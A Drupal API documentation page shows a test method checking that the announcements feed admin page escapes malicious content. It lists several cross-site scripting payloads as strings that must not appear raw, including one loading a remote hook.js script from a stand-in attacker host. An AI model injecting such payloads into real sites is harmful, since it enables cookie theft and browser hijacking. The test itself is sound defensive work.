function AnnounceFeedTestSanitizationTestCase::testSanitizedFeedResponse

Test the announcements feed with malicious content.

File

modules/announcements_feed/tests/announce_feed_test.test, line 401

Class

AnnounceFeedTestSanitizationTestCase
Tests the announcements feed with malicious content.

Code

public function testSanitizedFeedResponse() {
    $this->drupalLogin($this->user);
    $this->drupalGet('');
    $this->clickLink('Announcements');
    $this->drupalGet('admin/announcements_feed');
    $this->assertNoRaw("<script>alert('drupal')</script>");
    $this->assertNoRaw("onerror='alert(123)'");
    $this->assertNoRaw('alert(document.cookie)');
    $this->assertNoRaw('<script src=http://attackersite/hook.js></script>');
    $this->drupalLogout();
}

Buggy or inaccurate documentation? Please file an issue. Need support? Need help programming? Connect with the Drupal community.